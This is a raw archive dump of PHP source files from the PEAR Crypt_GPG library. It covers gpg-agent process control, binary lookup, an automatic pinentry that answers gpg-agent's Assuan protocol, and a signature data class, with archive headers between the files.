                $this->_debug('STOPPING GPG-AGENT DAEMON');

                $process = new Crypt_GPG_ProcessControl($parts[1]);

                // terminate agent daemon
                $process->terminate();

                while ($process->isRunning()) {
                    usleep(10000); // 10 ms
                    $process->terminate();
                }

                $this->_debug('GPG-AGENT DAEMON STOPPED');
            }

            $this->_agentInfo = null;
        }
    }

    /**
     * Closes a the internal GPG-AGENT subprocess
     *
     * Closes the internal GPG-AGENT subprocess. Sets the private class property
     * {@link Crypt_GPG_Engine::$_agentProcess} to null.
     *
     * @return void
     *
     * @see Crypt_GPG_Engine::_openSubprocess()
     * @see Crypt_GPG_Engine::$_agentProcess
     */
    private function _closeAgentLaunchProcess()
    {
        if (is_resource($this->_agentProcess)) {
            $this->_debug('CLOSING GPG-AGENT LAUNCH PROCESS');

            // close agent pipes
            foreach ($this->_agentPipes as $pipe) {
                fflush($pipe);
                fclose($pipe);
            }

            // close agent launching process
            proc_close($this->_agentProcess);

            $this->_agentProcess = null;
            $this->_agentPipes   = array();

            $this->_debug('GPG-AGENT LAUNCH PROCESS CLOSED');
        }
    }

    /**
     * Closes an opened pipe used to communicate with the GPG subprocess
     *
     * If the pipe is already closed, it is ignored. If the pipe is open, it
     * is flushed and then closed.
     *
     * @param int $pipeNumber The file descriptor number of the pipe to close
     *
     * @return void
     */
    private function _closePipe($pipeNumber)
    {
        $pipeNumber = intval($pipeNumber);
        if (array_key_exists($pipeNumber, $this->_openPipes)) {
            fflush($this->_openPipes[$pipeNumber]);
            fclose($this->_openPipes[$pipeNumber]);
            unset($this->_openPipes[$pipeNumber]);
        }
    }

    /**
     * Forces automatically started gpg-agent process to cleanup and exit
     * within a minute.
     *
     * This is needed in GnuPG 2.1 where agents are started
     * automatically by gpg process, not our code.
     *
     * @return void
     */
    private function _closeIdleAgents()
    {
        if ($this->_gpgconf) {
            // before 2.1.13 --homedir wasn't supported, use env variable
            $env = array('GNUPGHOME' => $this->_homedir);
            $cmd = $this->_gpgconf . ' --kill gpg-agent';

            if ($process = proc_open($cmd, array(), $pipes, null, $env)) {
                proc_close($process);
            }
        }
    }

    /**
     * Gets the name of the GPG binary for the current operating system
     *
     * This method is called if the '<kbd>binary</kbd>' option is <i>not</i>
     * specified when creating this driver.
     *
     * @return string the name of the GPG binary for the current operating
     *                system. If no suitable binary could be found, an empty
     *                string is returned.
     */
    private function _getBinary()
    {
        if ($binary = $this->_findBinary('gpg')) {
            return $binary;
        }

        return $this->_findBinary('gpg2');
    }

    /**
     * Gets the name of the GPG-AGENT binary for the current operating system
     *
     * @return string the name of the GPG-AGENT binary for the current operating
     *                system. If no suitable binary could be found, an empty
     *                string is returned.
     */
    private function _getAgent()
    {
        return $this->_findBinary('gpg-agent');
    }

    /**
     * Gets the name of the GPGCONF binary for the current operating system
     *
     * @return string the name of the GPGCONF binary for the current operating
     *                system. If no suitable binary could be found, an empty
     *                string is returned.
     */
    private function _getGPGConf()
    {
        return $this->_findBinary('gpgconf');
    }

    /**
     * Gets the location of a binary for the current operating system
     *
     * @param string $name Name of a binary program
     *
     * @return string The location of the binary for the current operating
     *                system. If no suitable binary could be found, an empty
     *                string is returned.
     */
    private function _findBinary($name)
    {
        $binary = '';

        if ($this->_isDarwin) {
            $locations = array(
                '/opt/local/bin/', // MacPorts
                '/usr/local/bin/', // Mac GPG
                '/sw/bin/',        // Fink
                '/usr/bin/'
            );
        } else {
            $locations = array(
                '/usr/bin/',
                '/usr/local/bin/',
                '/run/current-system/sw/bin/' // NixOS
            );
        }

        foreach ($locations as $location) {
            if (is_executable($location . $name)) {
                $binary = $location . $name;
                break;
            }
        }

        return $binary;
    }

    /**
     * Gets the location of the PinEntry script
     *
     * @return string|null the location of the PinEntry script.
     */
    private function _getPinEntry()
    {
        // Find PinEntry program depending on the way how the package is installed
        $ds    = DIRECTORY_SEPARATOR;
        $root  = __DIR__ . $ds . '..' . $ds . '..' . $ds;
        $paths = array(
            '@bin-dir@', // PEAR
             $root . 'scripts', // Git
             $root . 'bin', // Composer
        );

        foreach ($paths as $path) {
            if (file_exists($path . $ds . 'crypt-gpg-pinentry')) {
                return $path . $ds . 'crypt-gpg-pinentry';
            }
        }

        return null;
    }

    /**
     * Displays debug text if debugging is turned on
     *
     * Debugging text is prepended with a debug identifier and echoed to stdout.
     *
     * @param string $text the debugging text to display.
     *
     * @return void
     */
    private function _debug($text)
    {
        if ($this->_debug) {
            if (is_callable($this->_debug)) {
                call_user_func($this->_debug, $text);
            } elseif (php_sapi_name() === 'cli') {
                foreach (explode(PHP_EOL, $text) as $line) {
                    echo "Crypt_GPG DEBUG: ", $line, PHP_EOL;
                }
            } else {
                // running on a web server, format debug output nicely
                foreach (explode(PHP_EOL, $text) as $line) {
                    echo "Crypt_GPG DEBUG: <strong>", htmlspecialchars($line),
                        '</strong><br />', PHP_EOL;
                }
            }
        }
    }
}
PK
h�\��;>W>W,vendor/pear/crypt_gpg/Crypt/GPG/PinEntry.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * Contains a class implementing automatic pinentry for gpg-agent
 *
 * LICENSE:
 *
 * This library is free software; you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as
 * published by the Free Software Foundation; either version 2.1 of the
 * License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, see
 * <http://www.gnu.org/licenses/>
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2013 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */

/**
 * CLI user-interface and parser.
 */
require_once 'Console/CommandLine.php';

/**
 * A command-line dummy pinentry program for use with gpg-agent and Crypt_GPG
 *
 * This pinentry receives passphrases through en environment variable and
 * automatically enters the PIN in response to gpg-agent requests. No user-
 * interaction required.
 *
 * The pinentry can be run independently for testing and debugging with the
 * following syntax:
 *
 * <pre>
 * Usage:
 *   crypt-gpg-pinentry [options]
 *
 * Options:
 *   -l log, --log=log  Optional location to log pinentry activity.
 *   -v, --verbose      Sets verbosity level. Use multiples for more detail
 *                      (e.g. "-vv").
 *   -h, --help         show this help message and exit
 *   --version          show the program version and exit
 * </pre>
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2013 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 * @see       Crypt_GPG::getKeys()
 */
class Crypt_GPG_PinEntry
{
    /**
     * Verbosity level for showing no output.
     */
    const VERBOSITY_NONE = 0;

    /**
     * Verbosity level for showing error output.
     */
    const VERBOSITY_ERRORS = 1;

    /**
     * Verbosity level for showing all output, including Assuan protocol
     * messages.
     */
    const VERBOSITY_ALL = 2;

    /**
     * Length of buffer for reading lines from the Assuan server.
     *
     * PHP reads 8192 bytes. If this is set to less than 8192, PHP reads 8192
     * and buffers the rest so we might as well just read 8192.
     *
     * Using values other than 8192 also triggers PHP bugs.
     *
     * @see http://bugs.php.net/bug.php?id=35224
     */
    const CHUNK_SIZE = 8192;

    /**
     * File handle for the input stream
     *
     * @var resource|null
     */
    protected $stdin = null;

    /**
     * File handle for the output stream
     *
     * @var resource|null
     */
    protected $stdout = null;

    /**
     * File handle for the log file if a log file is used
     *
     * @var resource|null
     */
    protected $logFile = null;

    /**
     * Whether or not this pinentry is finished and is exiting
     *
     * @var bool
     */
    protected $moribund = false;

    /**
     * Verbosity level
     *
     * One of:
     * - {@link Crypt_GPG_PinEntry::VERBOSITY_NONE},
     * - {@link Crypt_GPG_PinEntry::VERBOSITY_ERRORS}, or
     * - {@link Crypt_GPG_PinEntry::VERBOSITY_ALL}
     *
     * @var int
     */
    protected $verbosity = self::VERBOSITY_NONE;

    /**
     * The command-line interface parser for this pinentry
     *
     * @var Console_CommandLine
     *
     * @see Crypt_GPG_PinEntry::getParser()
     */
    protected $parser = null;

    /**
     * PINs to be entered by this pinentry
     *
     * An indexed array of associative arrays in the form:
     * <code>
     * <?php
     *   array(
     *     array(
     *       'keyId'      => $keyId,
     *       'passphrase' => $passphrase
     *     ),
     *     ...
     *   );
     * ?>
     * </code>
     *
     * This array is parsed from the environment variable
     * <kbd>PINENTRY_USER_DATA</kbd>.
     *
     * @var array
     *
     * @see Crypt_GPG_PinEntry::initPinsFromENV()
     */
    protected $pins = array();

    /**
     * The PIN currently being requested by the Assuan server
     *
     * If set, this is an associative array in the form:
     * <code>
     * <?php
     *   array(
     *     'keyId'  => $shortKeyId,
     *     'userId' => $userIdString
     *   );
     * ?>
     * </code>
     *
     * @var array|null
     */
    protected $currentPin = null;

    /**
     * Runs this pinentry
     *
     * @return void
     */
    public function __invoke()
    {
        $this->parser = $this->getCommandLineParser();

        try {
            $result = $this->parser->parse();

            $this->setVerbosity($result->options['verbose']);
            $this->setLogFilename($result->options['log']);

            $this->connect();
            $this->initPinsFromENV();

            while (($line = fgets($this->stdin, self::CHUNK_SIZE)) !== false) {
                $this->parseCommand(mb_substr($line, 0, -1, '8bit'));
                if ($this->moribund) {
                    break;
                }
            }

            $this->disconnect();

        } catch (Console_CommandLine_Exception $e) {
            $this->log($e->getMessage() . PHP_EOL, self::VERBOSITY_ERRORS);
            exit(1);
        } catch (Exception $e) {
            $this->log($e->getMessage() . PHP_EOL, self::VERBOSITY_ERRORS);
            $this->log($e->getTraceAsString() . PHP_EOL, self::VERBOSITY_ERRORS);
            exit(1);
        }
    }

    /**
     * Sets the verbosity of logging for this pinentry
     *
     * Verbosity levels are:
     *
     * - {@link Crypt_GPG_PinEntry::VERBOSITY_NONE}   - no logging.
     * - {@link Crypt_GPG_PinEntry::VERBOSITY_ERRORS} - log errors only.
     * - {@link Crypt_GPG_PinEntry::VERBOSITY_ALL}    - log everything, including
     *                                                  the assuan protocol.
     *
     * @param int $verbosity The level of verbosity of this pinentry.
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    public function setVerbosity($verbosity)
    {
        $this->verbosity = (int) $verbosity;
        return $this;
    }

    /**
     * Sets the log file location
     *
     * @param string $filename the new log filename to use. If an empty string
     *                         is used, file-based logging is disabled.
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    public function setLogFilename($filename)
    {
        if (is_resource($this->logFile)) {
            fflush($this->logFile);
            fclose($this->logFile);
            $this->logFile = null;
        }

        if ($filename != '') {
            if (($this->logFile = fopen($filename, 'w')) === false) {
                $this->log(
                    'Unable to open log file "' . $filename . '" '
                    . 'for writing.' . PHP_EOL,
                    self::VERBOSITY_ERRORS
                );
                exit(1);
            } else {
                stream_set_write_buffer($this->logFile, 0);
            }
        }

        return $this;
    }

    /**
     * Gets the CLI user-interface definition for this pinentry
     *
     * Detects whether or not this package is PEAR-installed and appropriately
     * locates the XML UI definition.
     *
     * @return string|null The location of the CLI user-interface definition XML.
     */
    protected function getUIXML()
    {
        // Find PinEntry config depending on the way how the package is installed
        $ds    = DIRECTORY_SEPARATOR;
        $root  = __DIR__ . $ds . '..' . $ds . '..' . $ds;
        $paths = array(
            '@data-dir@' . $ds . '@package-name@' . $ds . 'data', // PEAR
            $root . 'data', // Git
            $root . 'data' . $ds . 'Crypt_GPG' . $ds . 'data', // Composer
        );

        foreach ($paths as $path) {
            if (file_exists($path . $ds . 'pinentry-cli.xml')) {
                return $path . $ds . 'pinentry-cli.xml';
            }
        }

        return null;
    }

    /**
     * Gets the CLI parser for this pinentry
     *
     * @return Console_CommandLine the CLI parser for this pinentry.
     */
    protected function getCommandLineParser()
    {
        return Console_CommandLine::fromXmlFile($this->getUIXML());
    }

    /**
     * Logs a message at the specified verbosity level
     *
     * If a log file is used, the message is written to the log. Otherwise,
     * the message is sent to STDERR.
     *
     * @param string $data  The message to log.
     * @param int    $level The verbosity level above which the message should
     *                      be logged.
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    protected function log($data, $level)
    {
        if ($this->verbosity >= $level) {
            if (is_resource($this->logFile)) {
                fwrite($this->logFile, $data);
                fflush($this->logFile);
            } else {
                $this->parser->outputter->stderr($data);
            }
        }

        return $this;
    }

    /**
     * Connects this pinentry to the assuan server
     *
     * Opens I/O streams and sends initial handshake.
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    protected function connect()
    {
        // Binary operations will not work on Windows with PHP < 5.2.6.
        $rb = (version_compare(PHP_VERSION, '5.2.6') < 0) ? 'r' : 'rb';
        $wb = (version_compare(PHP_VERSION, '5.2.6') < 0) ? 'w' : 'wb';

        $this->stdin  = fopen('php://stdin', $rb);
        $this->stdout = fopen('php://stdout', $wb);

        if (function_exists('stream_set_read_buffer')) {
            stream_set_read_buffer($this->stdin, 0);
        }
        stream_set_write_buffer($this->stdout, 0);

        // initial handshake
        $this->send($this->getOK('Crypt_GPG pinentry ready and waiting'));

        return $this;
    }

    /**
     * Parses an assuan command and performs the appropriate action
     *
     * Documentation of the assuan commands for pinentry is limited to
     * non-existent. Most of these commands were taken from the C source code
     * to gpg-agent and pinentry.
     *
     * Additional context was provided by using strace -f when calling the
     * gpg-agent.
     *
     * @param string $line the assuan command line to parse
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    protected function parseCommand($line)
    {
        $this->log('<- ' . $line . PHP_EOL, self::VERBOSITY_ALL);

        $parts = explode(' ', $line, 2);

        $command = $parts[0];

        if (count($parts) === 2) {
            $data = $parts[1];
        } else {
            $data = null;
        }

        switch ($command) {
        case 'SETDESC':
            return $this->sendSetDescription($data);

        case 'MESSAGE':
            return $this->sendMessage();

        case 'CONFIRM':
            return $this->sendConfirm();

        case 'GETINFO':
            return $this->sendGetInfo($data);

        case 'GETPIN':
            return $this->sendGetPin();

        case 'RESET':
            return $this->sendReset();

        case 'BYE':
            return $this->sendBye();

        default:
            return $this->sendNotImplementedOK();
        }
    }

    /**
     * Initializes the PINs to be entered by this pinentry from the environment
     * variable PINENTRY_USER_DATA
     *
     * The PINs are parsed from a JSON-encoded string.
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    protected function initPinsFromENV()
    {
        if (($userData = getenv('PINENTRY_USER_DATA')) !== false) {
            $pins = json_decode($userData, true);
            if ($pins === null) {
                $this->log(
                    '-- failed to parse user data' . PHP_EOL,
                    self::VERBOSITY_ERRORS
                );
            } else {
                $this->pins = $pins;
                $this->log(
                    '-- got user data [not showing passphrases]' . PHP_EOL,
                    self::VERBOSITY_ALL
                );
            }
        }

        return $this;
    }

    /**
     * Disconnects this pinentry from the Assuan server
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    protected function disconnect()
    {
        $this->log('-- disconnecting' . PHP_EOL, self::VERBOSITY_ALL);

        fflush($this->stdout);
        fclose($this->stdout);
        fclose($this->stdin);

        $this->stdin  = null;
        $this->stdout = null;

        $this->log('-- disconnected' . PHP_EOL, self::VERBOSITY_ALL);

        if (is_resource($this->logFile)) {
            fflush($this->logFile);
            fclose($this->logFile);
            $this->logFile = null;
        }

        return $this;
    }

    /**
     * Sends an OK response for a not implemented feature
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    protected function sendNotImplementedOK()
    {
        return $this->send($this->getOK());
    }

    /**
     * Parses the currently requested key identifier and user identifier from
     * the description passed to this pinentry
     *
     * @param string $text the raw description sent from gpg-agent.
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    protected function sendSetDescription($text)
    {
        $text = rawurldecode($text);
        $matches = array();
        // TODO: handle user id with quotation marks
        $exp = '/\n"(.+)"\n.*\sID ([A-Z0-9]+),\n/mu';
        if (preg_match($exp, $text, $matches) === 1) {
            $userId = $matches[1];
            $keyId  = $matches[2];

            if ($this->currentPin === null || $this->currentPin['keyId'] !== $keyId) {
                $this->currentPin = array(
                    'userId' => $userId,
                    'keyId'  => $keyId
                );
                $this->log(
                    '-- looking for PIN for ' . $keyId . PHP_EOL,
                    self::VERBOSITY_ALL
                );
            }
        }

        return $this->send($this->getOK());
    }

    /**
     * Tells the assuan server to confirm the operation
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    protected function sendConfirm()
    {
        return $this->send($this->getOK());
    }

    /**
     * Tells the assuan server that any requested pop-up messages were confirmed
     * by pressing the fake 'close' button
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    protected function sendMessage()
    {
        return $this->sendButtonInfo('close');
    }

    /**
     * Sends information about pressed buttons to the assuan server
     *
     * This is used to fake a user-interface for this pinentry.
     *
     * @param string $text the button status to send.
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    protected function sendButtonInfo($text)
    {
        return $this->send('BUTTON_INFO ' . $text . "\n");
    }

    /**
     * Sends the PIN value for the currently requested key
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    protected function sendGetPin()
    {
        $foundPin = '';

        if (is_array($this->currentPin)) {
            $keyIdLength = mb_strlen($this->currentPin['keyId'], '8bit');

            // search for the pin
            foreach ($this->pins as $_keyId => $pin) {
                // Warning: GnuPG 2.1 asks 3 times for passphrase if it is invalid
                $keyId        = $this->currentPin['keyId'];
                $_keyIdLength = mb_strlen($_keyId, '8bit');

                // Get last X characters of key identifier to compare
                // Most GnuPG versions use 8 characters, but recent ones can use 16,
                // We support 8 for backward compatibility
                if ($keyIdLength < $_keyIdLength) {
                    $_keyId = mb_substr($_keyId, -$keyIdLength, $keyIdLength, '8bit');
                } else if ($keyIdLength > $_keyIdLength) {
                    $keyId = mb_substr($keyId, -$_keyIdLength, $_keyIdLength, '8bit');
                }

                if ($_keyId === $keyId) {
                    $foundPin = $pin;
                    break;
                }
            }
        }

        return $this
            ->send($this->getData($foundPin))
            ->send($this->getOK());
    }

    /**
     * Sends information about this pinentry
     *
     * @param string $data the information requested by the assuan server.
     *                     Currently only 'pid' is supported. Other requests
     *                     return no information.
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    protected function sendGetInfo($data)
    {
        $parts   = explode(' ', $data, 2);
        $command = reset($parts);

        switch ($command) {
        case 'pid':
            return $this->sendGetInfoPID();
        default:
            return $this->send($this->getOK());
        }
    }

    /**
     * Sends the PID of this pinentry to the assuan server
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    protected function sendGetInfoPID()
    {
        return $this
            ->send($this->getData(getmypid()))
            ->send($this->getOK());
    }

    /**
     * Flags this pinentry for disconnection and sends an OK response
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    protected function sendBye()
    {
        $return = $this->send($this->getOK('closing connection'));
        $this->moribund = true;
        return $return;
    }

    /**
     * Resets this pinentry and sends an OK response
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    protected function sendReset()
    {
        $this->currentPin = null;
        return $this->send($this->getOK());
    }

    /**
     * Gets an OK response to send to the assuan server
     *
     * @param string $data an optional message to include with the OK response.
     *
     * @return string the OK response.
     */
    protected function getOK($data = null)
    {
        $return = 'OK';

        if ($data) {
            $return .= ' ' . $data;
        }

        return $return . "\n";
    }

    /**
     * Gets data ready to send to the assuan server
     *
     * Data is appropriately escaped and long lines are wrapped.
     *
     * @param string $data the data to send to the assuan server.
     *
     * @return string the properly escaped, formatted data.
     *
     * @see http://www.gnupg.org/documentation/manuals/assuan/Server-responses.html
     */
    protected function getData($data)
    {
        // Escape data. Only %, \n and \r need to be escaped but other
        // values are allowed to be escaped. See
        // http://www.gnupg.org/documentation/manuals/assuan/Server-responses.html
        $data = rawurlencode($data);
        $data = $this->getWordWrappedData($data, 'D');
        return $data;
    }

    /**
     * Gets a comment ready to send to the assuan server
     *
     * @param string $data the comment to send to the assuan server.
     *
     * @return string the properly formatted comment.
     *
     * @see http://www.gnupg.org/documentation/manuals/assuan/Server-responses.html
     */
    protected function getComment($data)
    {
        return $this->getWordWrappedData($data, '#');
    }

    /**
     * Wraps strings at 1,000 bytes without splitting UTF-8 multibyte
     * characters
     *
     * Each line is prepended with the specified line prefix. Wrapped lines
     * are automatically appended with \ characters.
     *
     * Protocol strings are UTF-8 but maximum line length is 1,000 bytes.
     * <kbd>mb_strcut()</kbd> is used so we can limit line length by bytes
     * and not split characters across multiple lines.
     *
     * @param string $data   the data to wrap.
     * @param string $prefix a single character to use as the line prefix. For
     *                       example, 'D' or '#'.
     *
     * @return string the word-wrapped, prefixed string.
     *
     * @see http://www.gnupg.org/documentation/manuals/assuan/Server-responses.html
     */
    protected function getWordWrappedData($data, $prefix)
    {
        $lines = array();

        do {
            if (mb_strlen($data, '8bit') > 997) {
                $line = $prefix . ' ' . mb_strcut($data, 0, 996, 'utf-8') . "\\\n";
                $lines[] = $line;
                $lineLength = mb_strlen($line, '8bit') - 1;
                $dataLength = mb_strlen($data, '8bit');
                $data = mb_substr(
                    $data,
                    $lineLength,
                    $dataLength - $lineLength,
                    '8bit'
                );
            } else {
                $lines[] = $prefix . ' ' . $data . "\n";
                $data = '';
            }
        } while ($data != '');

        return implode('', $lines);
    }

    /**
     * Sends raw data to the assuan server
     *
     * @param string $data the data to send.
     *
     * @return Crypt_GPG_PinEntry the current object, for fluent interface.
     */
    protected function send($data)
    {
        $this->log('-> ' . $data, self::VERBOSITY_ALL);
        fwrite($this->stdout, $data);
        fflush($this->stdout);
        return $this;
    }
}
PK
h�\w���,�,-vendor/pear/crypt_gpg/Crypt/GPG/Signature.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * A class representing GPG signatures
 *
 * This file contains a data class representing a GPG signature.
 *
 * LICENSE:
 *
 * This library is free software; you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as
 * published by the Free Software Foundation; either version 2.1 of the
 * License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, see
 * <http://www.gnu.org/licenses/>
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Nathan Fredrickson <nathan@silverorange.com>
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2005-2013 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */

/**
 * User id class definition
 */
require_once 'Crypt/GPG/UserId.php';

/**
 * A class for GPG signature information
 *
 * This class is used to store the results of the Crypt_GPG::verify() method.
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Nathan Fredrickson <nathan@silverorange.com>
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2005-2013 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 * @see       Crypt_GPG::verify()
 */
class Crypt_GPG_Signature
{
    /**
     * A base64-encoded string containing a unique id for this signature if
     * this signature has been verified as ok
     *
     * This id is used to prevent replay attacks and is not present for all
     * types of signatures.
     *
     * @var string
     */
    private $_id = '';

    /**
     * The fingerprint of the key used to create the signature
     *
     * @var string
     */
    private $_keyFingerprint = '';

    /**
     * The id of the key used to create the signature
     *
     * @var string
     */
    private $_keyId = '';

    /**
     * The creation date of this signature
     *
     * This is a Unix timestamp.
     *
     * @var int
     */
    private $_creationDate = 0;

    /**
     * The expiration date of the signature
     *
     * This is a Unix timestamp. If this signature does not expire, this will
     * be zero.
     *
     * @var int
     */
    private $_expirationDate = 0;

    /**
     * The user id associated with this signature
     *
     * @var Crypt_GPG_UserId
     */
    private $_userId = null;

    /**
     * Whether or not this signature is valid
     *
     * @var bool
     */
    private $_isValid = false;

    /**
     * Creates a new signature
     *
     * Signatures can be initialized from an array of named values. Available
     * names are:
     *
     * - <kbd>string  id</kbd>          - the unique id of this signature.
     * - <kbd>string  fingerprint</kbd> - the fingerprint of the key used to
     *                                    create the signature. The fingerprint
     *                                    should not contain formatting
     *                                    characters.
     * - <kbd>string  keyId</kbd>       - the id of the key used to create the
     *                                    the signature.
     * - <kbd>int     creation</kbd>    - the date the signature was created.
     *                                    This is a UNIX timestamp.
     * - <kbd>int     expiration</kbd>  - the date the signature expired. This
     *                                    is a UNIX timestamp. If the signature
     *                                    does not expire, use 0.
     * - <kbd>bool    valid</kbd>       - whether or not the signature is valid.
     * - <kbd>string  userId</kbd>      - the user id associated with the
     *                                    signature. This may also be a
     *                                    {@link Crypt_GPG_UserId} object.
     *
     * @param Crypt_GPG_Signature|array|null $signature Either an existing signature object,
     *                                                  which is copied; or an array
     *                                                  of initial values.
     */
    public function __construct($signature = null)
    {
        // copy from object
        if ($signature instanceof Crypt_GPG_Signature) {
            $this->_id             = $signature->_id;
            $this->_keyFingerprint = $signature->_keyFingerprint;
            $this->_keyId          = $signature->_keyId;
            $this->_creationDate   = $signature->_creationDate;
            $this->_expirationDate = $signature->_expirationDate;
            $this->_isValid        = $signature->_isValid;

            if ($signature->_userId instanceof Crypt_GPG_UserId) {
                $this->_userId = clone $signature->_userId;
            }
        }

        // initialize from array
        if (is_array($signature)) {
            if (array_key_exists('id', $signature)) {
                $this->setId($signature['id']);
            }

            if (array_key_exists('fingerprint', $signature)) {
                $this->setKeyFingerprint($signature['fingerprint']);
            }

            if (array_key_exists('keyId', $signature)) {
                $this->setKeyId($signature['keyId']);
            }

            if (array_key_exists('creation', $signature)) {
                $this->setCreationDate($signature['creation']);
            }

            if (array_key_exists('expiration', $signature)) {
                $this->setExpirationDate($signature['expiration']);
            }

            if (array_key_exists('valid', $signature)) {
                $this->setValid($signature['valid']);
            }

            if (array_key_exists('userId', $signature)) {
                $userId = new Crypt_GPG_UserId($signature['userId']);
                $this->setUserId($userId);
            }
        }
    }

    /**
     * Gets the id of this signature
     *
     * @return string A base64-encoded string containing a unique id for this
     *                signature. This id is used to prevent replay attacks and
     *                is not present for all types of signatures.
     */
    public function getId()
    {
        return $this->_id;
    }

    /**
     * Gets the fingerprint of the key used to create this signature
     *
     * @return string The fingerprint of the key used to create this signature.
     */
    public function getKeyFingerprint()
    {
        return $this->_keyFingerprint;
    }

    /**
     * Gets the id of the key used to create this signature
     *
     * Whereas the fingerprint of the signing key may not always be available
     * (for example if the signature is bad), the id should always be
     * available.
     *
     * @return string The id of the key used to create this signature.
     */
    public function getKeyId()
    {
        return $this->_keyId;
    }

    /**
     * Gets the creation date of this signature
     *
     * @return int The creation date of this signature. This is a Unix
     *             timestamp.
     */
    public function getCreationDate()
    {
        return $this->_creationDate;
    }

    /**
     * Gets the expiration date of the signature
     *
     * @return int The expiration date of this signature. This is a Unix
     *             timestamp. If this signature does not expire, this will
     *             be zero.
     */
    public function getExpirationDate()
    {
        return $this->_expirationDate;
    }

    /**
     * Gets the user id associated with this signature
     *
     * @return Crypt_GPG_UserId|null The user id associated with this signature.
     */
    public function getUserId()
    {
        return $this->_userId;
    }

    /**
     * Gets whether or no this signature is valid
     *
     * @return bool True if this signature is valid and false if it is not.
     */
    public function isValid()
    {
        return $this->_isValid;
    }

    /**
     * Sets the id of this signature
     *
     * @param string $id a base64-encoded string containing a unique id for
     *                   this signature.
     *
     * @return Crypt_GPG_Signature the current object, for fluent interface.
     *
     * @see Crypt_GPG_Signature::getId()
     */
    public function setId($id)
    {
        $this->_id = strval($id);
        return $this;
    }

    /**
     * Sets the key fingerprint of this signature
     *
     * @param string $fingerprint the key fingerprint of this signature. This
     *                            is the fingerprint of the primary key used to
     *                            create this signature.
     *
     * @return Crypt_GPG_Signature the current object, for fluent interface.
     */
    public function setKeyFingerprint($fingerprint)
    {
        $this->_keyFingerprint = strval($fingerprint);
        return $this;
    }

    /**
     * Sets the key id of this signature
     *
     * @param string $id the key id of this signature. This is the id of the
     *                   primary key used to create this signature.
     *
     * @return Crypt_GPG_Signature the current object, for fluent interface.
     */
    public function setKeyId($id)
    {
        $this->_keyId = strval($id);
        return $this;
    }

    /**
     * Sets the creation date of this signature
     *
     * @param int $creationDate The creation date of this signature. This
     *                          is a Unix timestamp.
     *
     * @return Crypt_GPG_Signature the current object, for fluent interface.
     */
    public function setCreationDate($creationDate)
    {
        $this->_creationDate = intval($creationDate);
        return $this;
    }

    /**
     * Sets the expiration date of this signature
     *
     * @param int $expirationDate the expiration date of this signature.
     *                            This is a Unix timestamp. Specify zero if
     *                            this signature does not expire.
     *
     * @return Crypt_GPG_Signature the current object, for fluent interface.
     */
    public function setExpirationDate($expirationDate)
    {
        $this->_expirationDate = intval($expirationDate);
        return $this;
    }

    /**
     * Sets the user id associated with this signature
     *
     * @param Crypt_GPG_UserId $userId the user id associated with this
     *                                 signature.
     *
     * @return Crypt_GPG_Signature the current object, for fluent interface.
     */
    public function setUserId(Crypt_GPG_UserId $userId)
    {
        $this->_userId = $userId;
        return $this;
    }

    /**
     * Sets whether or not this signature is valid
     *
     * @param bool $isValid True if this signature is valid and false if it
     *                      is not.
     *
     * @return Crypt_GPG_Signature the current object, for fluent interface.
     */
    public function setValid($isValid)
    {
        $this->_isValid = ($isValid) ? true : false;
        return $this;
    }
}
PK
h�\C�7��4�4.vendor/pear/crypt_gpg/Crypt/GPG/Exceptions.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * Various exception handling classes for Crypt_GPG
 *
 * Crypt_GPG provides an object oriented interface to GNU Privacy
